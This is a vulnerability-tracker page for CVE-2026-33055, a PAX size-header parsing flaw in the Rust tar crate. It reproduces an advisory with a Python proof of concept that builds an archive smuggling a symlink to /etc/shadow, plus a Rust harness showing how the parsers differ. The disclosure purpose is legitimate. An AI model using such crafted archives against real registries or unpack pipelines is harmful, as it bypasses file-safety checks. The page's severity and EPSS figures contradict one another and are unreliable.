CVE-2026-33055

MEDIUMPre-NVD 8.18.1
EchelonGraph scoreMEDIUM confidence

This high-severity CVE scores 8.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.4%, top 68% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
Trending — 3 sources updated this weekElevated
8.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 8.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

tar-rs incorrectly ignores PAX size headers if header size is nonzero

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

> I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

#!/usr/bin/env python3
B = 512

def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d

def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h)

INFLATED = 2048 pax_rec = b"13 size=2048\n"

ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec)

content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2

used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }

async fn async_parse(data: Vec) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }

#[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; }

tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar: regular.txt Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.

CVSS v3
8.1
EG Score
8.1(medium)
EG Risk
67(Attend)
EG Risk 67/100SSVC: Attend

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity81% × 45%
Exploitation40% × 40%
Automatability100% × 15%
Action: Remediate soon — notable exploitation risk.
EPSS
32.2%
KEV
Not listed

Published

March 20, 2026

Last Modified

March 20, 2026

Vendor Advisories for CVE-2026-33055(2)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
crates.io(1)
PackageVulnerable rangeFixed inDependents
tar0.4.45

Data Freshness Timeline

(refreshed 11× in last 7d / 44× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 101 total refreshes for this CVE.

  1. 2026-07-23 03:09 UTCEG score recompute
  2. 2026-07-22 14:08 UTCEPSS rescore
  3. 2026-07-21 15:24 UTCEPSS rescore
  4. 2026-07-20 17:08 UTCEPSS rescore
  5. 2026-07-19 14:31 UTCEPSS rescore
  6. 2026-07-19 02:29 UTCEPSS rescore
  7. 2026-07-18 10:04 UTCEPSS rescore
  8. 2026-07-18 10:04 UTCEPSS rescore
  9. 2026-07-17 07:46 UTCOSV refresh
  10. 2026-07-16 17:03 UTCEPSS rescore
  11. 2026-07-16 17:03 UTCEPSS rescore
  12. 2026-07-15 16:57 UTCEPSS rescore
  13. 2026-07-15 16:57 UTCEPSS rescore
  14. 2026-07-15 02:00 UTCEPSS rescore
  15. 2026-07-15 02:00 UTCEPSS rescore
  16. 2026-07-13 22:30 UTCEPSS rescore
  17. 2026-07-13 06:13 UTCEPSS rescore
  18. 2026-07-13 06:13 UTCEPSS rescore
  19. 2026-07-12 05:46 UTCEPSS rescore
  20. 2026-07-11 08:27 UTCEPSS rescore
  21. 2026-07-09 19:10 UTCEPSS rescore
  22. 2026-07-08 15:15 UTCEPSS rescore
  23. 2026-07-07 13:46 UTCEPSS rescore
  24. 2026-07-06 16:27 UTCEPSS rescore
  25. 2026-07-06 16:27 UTCEPSS rescore
Show 75 more
  1. 2026-07-06 02:23 UTCEPSS rescore
  2. 2026-07-06 02:23 UTCEPSS rescore
  3. 2026-07-05 02:30 UTCEPSS rescore
  4. 2026-07-04 06:31 UTCEPSS rescore
  5. 2026-07-01 15:06 UTCEPSS rescore
  6. 2026-06-30 23:22 UTCEPSS rescore
  7. 2026-06-29 14:06 UTCEPSS rescore
  8. 2026-06-29 14:06 UTCEPSS rescore
  9. 2026-06-29 05:32 UTCOSV refresh
  10. 2026-06-28 14:07 UTCEPSS rescore
  11. 2026-06-28 14:07 UTCEPSS rescore
  12. 2026-06-28 04:56 UTCEPSS rescore
  13. 2026-06-28 04:56 UTCEPSS rescore
  14. 2026-06-27 03:08 UTCEPSS rescore
  15. 2026-06-25 13:49 UTCEPSS rescore
  16. 2026-06-25 13:49 UTCEPSS rescore
  17. 2026-06-24 14:05 UTCEPSS rescore
  18. 2026-06-23 21:33 UTCEPSS rescore
  19. 2026-06-23 21:33 UTCEPSS rescore
  20. 2026-06-22 14:25 UTCEPSS rescore
  21. 2026-06-22 14:25 UTCEPSS rescore
  22. 2026-06-21 14:56 UTCEPSS rescore
  23. 2026-06-21 14:56 UTCEPSS rescore
  24. 2026-06-21 01:59 UTCEPSS rescore
  25. 2026-06-19 19:25 UTCEPSS rescore
  26. 2026-06-19 19:25 UTCEPSS rescore
  27. 2026-06-18 17:52 UTCEPSS rescore
  28. 2026-06-18 17:52 UTCEPSS rescore
  29. 2026-06-17 17:53 UTCEPSS rescore
  30. 2026-06-16 17:52 UTCEPSS rescore
  31. 2026-06-15 17:49 UTCEPSS rescore
  32. 2026-06-14 23:18 UTCEPSS rescore
  33. 2026-06-13 23:00 UTCEPSS rescore
  34. 2026-06-12 23:12 UTCEPSS rescore
  35. 2026-06-12 23:12 UTCEPSS rescore
  36. 2026-06-11 23:41 UTCVendor advisory
  37. 2026-06-11 14:00 UTCEPSS rescore
  38. 2026-06-10 22:18 UTCEPSS rescore
  39. 2026-06-10 15:40 UTCVendor advisory
  40. 2026-06-10 13:22 UTCEPSS rescore
  41. 2026-06-10 03:21 UTCVendor advisory
  42. 2026-06-09 16:26 UTCVendor advisory
  43. 2026-06-08 14:17 UTCEPSS rescore
  44. 2026-06-08 14:17 UTCEPSS rescore
  45. 2026-06-08 01:16 UTCVendor advisory
  46. 2026-06-07 13:51 UTCVendor advisory
  47. 2026-06-06 13:47 UTCEPSS rescore
  48. 2026-06-06 13:47 UTCEPSS rescore
  49. 2026-06-05 22:47 UTCEPSS rescore
  50. 2026-06-05 22:47 UTCEPSS rescore
  51. 2026-06-05 06:10 UTCEPSS rescore
  52. 2026-06-05 06:10 UTCEPSS rescore
  53. 2026-06-04 13:12 UTCEPSS rescore
  54. 2026-06-04 13:12 UTCEPSS rescore
  55. 2026-06-02 20:13 UTCEPSS rescore
  56. 2026-06-01 13:52 UTCEPSS rescore
  57. 2026-06-01 13:52 UTCEPSS rescore
  58. 2026-06-01 13:51 UTCEPSS rescore
  59. 2026-05-31 22:30 UTCEPSS rescore
  60. 2026-05-31 22:30 UTCEPSS rescore
  61. 2026-05-31 00:16 UTCEPSS rescore
  62. 2026-05-31 00:16 UTCEPSS rescore
  63. 2026-05-31 00:16 UTCEPSS rescore
  64. 2026-05-29 13:44 UTCEPSS rescore
  65. 2026-05-29 13:44 UTCEPSS rescore
  66. 2026-05-28 13:44 UTCEPSS rescore
  67. 2026-05-28 13:44 UTCEPSS rescore
  68. 2026-05-28 13:44 UTCEPSS rescore
  69. 2026-05-27 13:40 UTCEPSS rescore
  70. 2026-05-27 13:40 UTCEPSS rescore
  71. 2026-05-27 13:40 UTCEPSS rescore
  72. 2026-05-26 13:44 UTCEPSS rescore
  73. 2026-05-26 07:18 UTCEPSS rescore
  74. 2026-05-26 07:18 UTCEPSS rescore
  75. 2026-05-24 06:19 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-33055?
CVE-2026-33055 is a medium vulnerability published on March 20, 2026. tar-rs incorrectly ignores PAX size headers if header size is nonzero Summary As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the…
When was CVE-2026-33055 disclosed?
CVE-2026-33055 was first published in the National Vulnerability Database on March 20, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-33055 actively exploited?
CVE-2026-33055 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 32.2% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-33055?
CVE-2026-33055 has a CVSS v4.0 base score of 8.1 (CNA self-assessment; NVD's own analysis pending).
How do I remediate CVE-2026-33055?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-33055, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-33055

Explore →

Is Your Infrastructure Affected by CVE-2026-33055?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.